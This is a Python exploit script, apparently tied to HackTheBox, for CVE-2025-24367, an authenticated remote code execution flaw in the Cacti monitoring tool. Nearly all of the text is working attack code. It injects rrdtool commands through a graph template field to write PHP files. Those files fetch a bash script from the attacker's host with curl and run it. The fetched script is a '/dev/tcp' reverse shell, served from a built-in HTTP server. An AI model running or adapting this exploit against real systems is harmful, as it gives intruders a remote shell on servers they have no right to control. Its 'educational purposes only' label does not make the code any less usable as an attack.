README.md
Rendering markdown...
###########################################################
# #
# CVE-2025-24367 - Cacti Authenticated Graph Template RCE #
# Created by TheCyberGeek @ HackTheBox #
# For educational purposes only #
# #
###########################################################
import argparse
import requests
import sys
import re
import time
import random
import string
import http.server
import os
import socketserver
import threading
from pathlib import Path
from urllib.parse import quote_plus
from bs4 import BeautifulSoup
SESSION = requests.Session()
"""
Custom HTTP logging class
"""
class CustomHTTPRequestHandler(http.server.SimpleHTTPRequestHandler):
def log_message(self, format, *args):
if args[1] == '200':
print(f"[+] Got payload: {self.path}")
else:
pass
"""
Web server class with start and stop functionalities in working directory
"""
class BackgroundHTTPServer:
def __init__(self, directory, port=80):
self.directory = directory
self.port = port
self.httpd = None
self.server_thread = None
def start(self):
os.chdir(self.directory)
handler = CustomHTTPRequestHandler
self.httpd = socketserver.TCPServer(("", self.port), handler)
self.server_thread = threading.Thread(target=self.httpd.serve_forever)
self.server_thread.daemon = True
self.server_thread.start()
print(f"[+] Serving HTTP on port {self.port}")
def stop(self):
if self.httpd:
self.httpd.shutdown()
self.httpd.server_close()
self.server_thread.join()
print(f"[+] Stopped HTTP server on port {self.port}")
"""
Check if instance is Cacti
"""
def check_cacti(url: str) -> None:
req = requests.get(url)
if "Cacti" in req.text:
print("[+] Cacti Instance Found!")
else:
print("[!] No Cacti Instance was found, exiting...")
exit(1)
"""
Log into the Cacti instance
"""
def login(url: str, username: str, password: str, ip: str, port: int, proxy: dict | None) -> None:
res = SESSION.get(url, proxies=proxy)
match = re.search(r'var csrfMagicToken\s=\s"(sid:[a-z0-9]+,[a-z0-9]+)', res.text)
csrf_magic_token = match.group(1)
data = {
'__csrf_magic': csrf_magic_token,
'action': 'login',
'login_username': username,
'login_password': password
}
req = SESSION.post(url + '/cacti/index.php', data=data, proxies=proxy)
if 'You are now logged into' in req.text:
print('[+] Login Successful!')
return True
else:
print('[!] Login Failed :(')
http_server.stop()
exit(1)
"""
Write bash payload
"""
def write_payload(ip: str, port: int) -> None:
with open("bash", "w") as f:
f.write(f"#!/bin/bash\nbash -i >& /dev/tcp/{ip}/{port} 0>&1")
f.close()
"""
Get the template ID required for exploitation (Unix - Logged In Users)
"""
def get_template_id(url: str, proxy: dict | None) -> int:
graph_template_search = SESSION.get(url + '/cacti/graph_templates.php?filter=Unix - Logged in Users&rows=-1&has_graphs=false', proxies=proxy)
soup = BeautifulSoup(graph_template_search.text, "html.parser")
elem = soup.find("input", id=re.compile(r"chk_\d+"))
if elem:
template_id = int(elem["id"].split("_")[1])
print(f"[+] Got graph ID: {template_id}")
else:
print("[!] Failed to get template ID")
http_server.stop()
exit(1)
return template_id
"""
Trigger the payload in multiple requests
"""
def trigger_payload(url: str, ip: str, stage: str, template_id: int, proxy: dict | None) -> None:
# Edit graph template
graph_template_page = SESSION.get(url + f'/cacti/graph_templates.php?action=template_edit&id={template_id}', proxies=proxy)
match = re.search(r'var csrfMagicToken\s=\s"(sid:[a-z0-9]+,[a-z0-9]+)', graph_template_page.text)
csrf_magic_token = match.group(1)
# Generate random filename
get_payload_filename = ''.join(random.choices(string.ascii_letters + string.digits, k=5)) + ".php"
trigger_payload_filename = ''.join(random.choices(string.ascii_letters + string.digits, k=5)) + ".php"
# Change payload based on stage
if stage == "write payload":
print(f"[i] Created PHP filename: {get_payload_filename}")
right_axis_label = (
f"XXX\n"
f"create my.rrd --step 300 DS:temp:GAUGE:600:-273:5000 "
f"RRA:AVERAGE:0.5:1:1200\n"
f"graph {get_payload_filename} -s now -a CSV "
f"DEF:out=my.rrd:temp:AVERAGE LINE1:out:<?=`curl\\x20{ip}/bash\\x20-o\\x20bash`;?>\n"
)
else:
print(f"[i] Created PHP filename: {trigger_payload_filename}")
right_axis_label = (
f"XXX\n"
f"create my.rrd --step 300 DS:temp:GAUGE:600:-273:5000 "
f"RRA:AVERAGE:0.5:1:1200\n"
f"graph {trigger_payload_filename} -s now -a CSV "
f"DEF:out=my.rrd:temp:AVERAGE LINE1:out:<?=`bash\\x20bash`;?>\n"
)
data = {
"__csrf_magic": csrf_magic_token,
"name": "Unix - Logged in Users",
"graph_template_id": template_id,
"graph_template_graph_id": template_id,
"save_component_template": "1",
"title": "|host_description| - Logged in Users",
"vertical_label": "percent",
"image_format_id": "3",
"height": "200",
"width": "700",
"base_value": "1000",
"slope_mode": "on",
"auto_scale": "on",
"auto_scale_opts": "2",
"auto_scale_rigid": "on",
"upper_limit": "100",
"lower_limit": "0",
"unit_value": "",
"unit_exponent_value": "",
"unit_length": "",
"right_axis": "",
"right_axis_label": right_axis_label,
"right_axis_format": "0",
"right_axis_formatter": "0",
"left_axis_formatter": "0",
"auto_padding": "on",
"tab_width": "30",
"legend_position": "0",
"legend_direction": "0",
"rrdtool_version": "1.7.2",
"action": "save"
}
# Update the template
get_file = SESSION.post(url + '/cacti/graph_templates.php?header=false', data=data, allow_redirects=True, proxies=proxy)
# Trigger execution
trigger_write = SESSION.get(url + f'/cacti/graph_json.php?rra_id=0&local_graph_id=3&graph_start=1761683272&graph_end=1761769672&graph_height=200&graph_width=700')
# Get payloads
try:
if stage == "write payload":
res = SESSION.get(url + f'/cacti/{get_payload_filename}')
else:
res = SESSION.get(url + f'/cacti/{trigger_payload_filename}', timeout=2)
except requests.Timeout:
print("[+] Hit timeout, looks good for shell, check your listener!")
return
if "File not found" in res.text:
print("[!] Exploit failed to execute!")
http_server.stop()
exit(1)
"""
Main function to parse args and trigger execution
"""
if __name__ == '__main__':
parser = argparse.ArgumentParser(prog='CVE-2025-24367 - Cacti Authenticated Graph Template RCE')
parser.add_argument('-u', '--user', type=str, required=True, help='Username for login')
parser.add_argument('-p', '--password', type=str, required=True, help='Password for login')
parser.add_argument('-i', '--ip', type=str, required=True, help='IP address for reverse shell')
parser.add_argument('-l', '--port', type=str, required=True, help='Port number for reverse shell')
parser.add_argument('-url', '--url', type=str, required=True, help='Base URL of the application')
parser.add_argument('--proxy', action='store_true', help='Enable proxy usage (default: http://127.0.0.1:8080)')
args = parser.parse_args()
proxy = {'http': 'http://127.0.0.1:8080'} if args.proxy else None
check_cacti(args.url)
http_server = BackgroundHTTPServer(os.getcwd(), 80)
http_server.start()
login(args.url, args.user, args.password, args.ip, args.port, proxy)
template_id = get_template_id(args.url, proxy)
write_payload(args.ip, args.port)
trigger_payload(args.url, args.ip, "write payload", template_id, proxy)
trigger_payload(args.url, args.ip, "trigger payload", template_id, proxy)
http_server.stop()
Path("bash").unlink(missing_ok=True)